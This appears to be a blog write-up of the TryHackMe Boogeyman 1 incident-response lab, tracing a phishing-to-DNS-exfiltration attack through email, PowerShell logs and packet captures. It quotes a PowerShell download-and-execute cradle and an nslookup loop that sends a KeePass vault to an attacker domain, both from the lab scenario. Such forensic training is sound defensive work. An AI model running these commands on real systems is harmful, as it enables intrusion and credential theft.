            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*t464fXIP3k3tag9QZGVy7A.png" /><figcaption><strong>TryHackMe | Boogeyman 1| Capstone Challenge<em> </em>| by Svetoslav Angelov</strong></figcaption></figure><p><strong>Executive Summary</strong></p><p>In January 2023, the finance department of Quick Logistics LLC was targeted in a sophisticated spear-phishing campaign orchestrated by a threat actor known as “Boogeyman,” a group notorious for compromising the logistics and supply chain sector.</p><p>As part of a simulated Incident Response (IR) engagement, I was tasked with investigating the compromise of a finance employee’s workstation. Through comprehensive email forensics, endpoint log parsing, and network traffic analysis, I successfully traced the attack lifecycle from initial access to data exfiltration. Ultimately, I was able to intercept the attacker’s network traffic, reverse-engineer their DNS exfiltration methods, and recover the stolen data, a compromised KeePass password vault containing sensitive company credit card information.</p><p>This report details the Threat Actor’s Tactics, Techniques, and Procedures (TTPs) and the digital forensics methodology used to reconstruct the attack.</p><p><strong>Phase 1: Initial Access &amp; Weaponisation (Email Forensics)</strong></p><p>The investigation began with an analysis of a suspicious email (<strong>dump.eml</strong>) flagged by the security team.</p><p>Using command-line text processing tools (<strong>grep</strong>), I parsed the email headers to identify the origin of the attack. The threat actor utilised a misspelt <strong>typosquatting</strong> domain (<strong>bpakcaging.xyz</strong>) and routed the email through a third-party relay service (<strong>elasticemail.com</strong>) to bypass basic spam filters.</p><p>The email contained a password-protected ZIP archive (<strong>Invoice.zip</strong>), with the password provided directly in the email body to evade automated email gateway malware scanners.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*xaFt8fM4oFdeSnmQGz1vaQ.png" /><figcaption><strong><em>Figure 1.0</em></strong><em> Extracting sender, recipient, and DKIM signature headers directly from the raw .eml file.</em></figcaption></figure><p>Upon decrypting the archive, I discovered the payload: <strong>Invoice_20230103.lnk</strong>. Modern attackers frequently pack malicious execution commands into Windows Shortcut (<strong>.lnk</strong>) files. Using the <strong>lnkparse</strong> forensics utility, I extracted the shortcut’s metadata to reveal a hidden, Base64-encoded PowerShell command in the Command Line Arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*jkZbSWV6wl-zXIGwh9sGrQ.png" /><figcaption><strong>Figure 1.1</strong> Forensic analysis of the malicious LNK file exposing the encoded PowerShell payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*Otplr-qNOKtzB3Qs37x9UA.png" /><figcaption><strong>Figure 1.2</strong> Decoding the Base64 string using CyberChef</figcaption></figure><p>Decoding the Base64 payload revealed the attacker’s initial dropper:</p><p><strong>iex (new-object net.webclient).downloadstring(‘http://files.bpakcaging.xyz/update&#39;)</strong></p><p>This command was designed to open PowerShell silently in the background and reach out to the attacker’s file-hosting server to download the next stage of the malware directly into memory.</p><p><strong>Phase 2: Execution &amp; Discovery (Endpoint Log Analysis)</strong></p><p>To understand what happened after the payload executed, I pivoted to the endpoint telemetry, specifically analysing the Windows PowerShell event logs (<strong>powershell.json</strong>).</p><p>Because the logs were formatted in JSON, I utilised <strong>jq</strong>, a lightweight command-line JSON processor, to filter and sort the massive dataset chronologically. By filtering for the <strong>ScriptBlockText</strong> fields, I reconstructed the attacker’s exact post-exploitation steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*bxkn4idM_PPBpGMpufYZ1w.png" /><figcaption><strong>Figure 2.0</strong> Parsing JSON PowerShell logs to extract the attacker’s Command &amp; Control (C2) domains.</figcaption></figure><p><strong>Attacker TTPs Identified:</strong></p><ol><li><strong>Tool Ingress:</strong> The attacker downloaded two notable binaries: <strong>sb.exe</strong> (Seatbelt, a popular C# situational awareness tool used in Red Teaming) and <strong>sq3.exe</strong> (SQLite3).</li><li><strong>Credential Access:</strong> Using the SQLite3 binary, the attacker queried the user’s Microsoft Sticky Notes database (<strong>plum.sqlite</strong>). Attackers heavily target Sticky Notes, as users frequently leave cleartext passwords in them.</li><li><strong>Data Staging:</strong> The logs revealed that the attacker located a highly sensitive file in the user’s Documents folder: <strong>protected_data.kdbx</strong> (a KeePass password vault).</li></ol><p><strong>Phase 3: Exfiltration (Network Traffic Analysis)</strong></p><p>The PowerShell logs revealed that the attacker converted the raw bytes of the <strong>protected_data.kdbx</strong> file into Hexadecimal chunks.</p><p>Instead of exfiltrating the data over standard HTTP/HTTPS channels (which might be blocked or heavily monitored by the corporate firewall), the attacker utilised <strong>DNS Exfiltration</strong>.</p><p>By scripting a loop, the attacker used the native <strong>nslookup</strong> tool to append the Hex chunks of the KeePass database as subdomains to their C2 server:</p><p><strong>$split = $hex -split ‘(\S{50})’; ForEach ($line in $split) { nslookup -q=A “$line.bpakcaging.xyz” $destination; }</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*a_MB4A3HL4TgEJEyDaCeNQ.png" /><figcaption><strong>Figure 3.0</strong> The attacker’s PowerShell loop executing DNS Exfiltration via nslookup.</figcaption></figure><p><strong>Phase 4: Data Recovery &amp; Decryption</strong></p><p>To prove the impact of the breach, I needed to intercept the network traffic, reverse the exfiltration process, and see exactly what was inside that KeePass vault.</p><p>First, I analysed the provided network packet capture (<strong>capture.pcapng</strong>) using Wireshark. By following the TCP stream of the attacker’s HTTP traffic, I was able to view the output of their earlier SQLite3 query against the user’s Sticky Notes. Decoding a decimal string found in the database revealed the KeePass Master Password: <strong>%p9³!lL^Mz47E2GaT^y</strong>.</p><p>Next, I used <strong>tshark</strong> (terminal Wireshark) to extract the stolen KeePass vault from the DNS traffic.</p><p><strong>Overcoming File Corruption (The “Magic Bytes” Issue):</strong></p><p>During the initial extraction, compiling the DNS subdomains resulted in a corrupted <strong>.kdbx</strong> file. I determined that the attacker’s earlier DNS queries for their C2 initialisation (<strong>cdn</strong> and <strong>files</strong>) were being captured alongside the hex data. Because “c”, “d”, “f”, and “e” are valid hexadecimal characters, the compiler overwrote the file’s Magic Bytes, destroying the signature.</p><p>To fix this, I engineered a strict Regular Expression (<strong>grep -E “^[0–9a-fA-F]+$”</strong>) to drop any string containing non-hexadecimal characters, ensuring only the pristine vault data was carved.</p><p>Bash</p><p><strong>tshark -r capture.pcapng -Y “dns.qry.name contains bpakcaging.xyz and dns.flags.response == 0” -T fields -e dns.qry.name | cut -d’.’ -f1 | grep -E “^[0–9a-fA-F]+$” | uniq | tr -d ‘\n’ &gt; pristine_hex.txt</strong></p><p><strong>xxd -r -p pristine_hex.txt &gt; pristine_vault.kdbx</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*nUR7jCIlQMzWreZvXT1vDg.png" /><figcaption><strong>Figure 4.0</strong> Utilising regex to filter out C2 initialisation noise and rebuild the pristine KeePass binary.</figcaption></figure><p>Using the Master Password recovered from the network stream, I successfully unlocked the rebuilt KeePass vault. Inside was the ultimate objective of the Boogeyman group: the corporate credit card details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*BO3wtBuwe3z1LD3-s0mT1w.png" /><figcaption><strong>Figure 4.1</strong> The successfully decrypted KeePass vault revealing the compromised company financial data.</figcaption></figure><p><strong>Conclusion &amp; Indicators of Compromise (IoCs)</strong></p><p>This investigation highlights the critical importance of defence-in-depth. While the initial phishing email bypassed the perimeter, the attacker’s reliance on PowerShell, SQLite, and DNS exfiltration left a highly visible trail in the endpoint telemetry and network captures.</p><p><strong>Verified IoCs:</strong></p><ul><li><strong>Threat Actor Domain:</strong> bpakcaging.xyz</li><li><strong>File Hosting Server:</strong> files.bpakcaging.xyz (Python/3.10.7 HTTP Server)</li><li><strong>C2 Server:</strong> cdn.bpakcaging.xyz:8080 (POST requests)</li><li><strong>Malicious File:</strong> Invoice_20230103.lnk</li><li><strong>Exfiltration Method:</strong> DNS Queries via nslookup</li></ul><p><strong><em>Note</em></strong><em>: This case study was conducted as part of the </em><strong><em>TryHackMe Boogeyman 1 Capstone Challenge.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ee5778a0c85" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>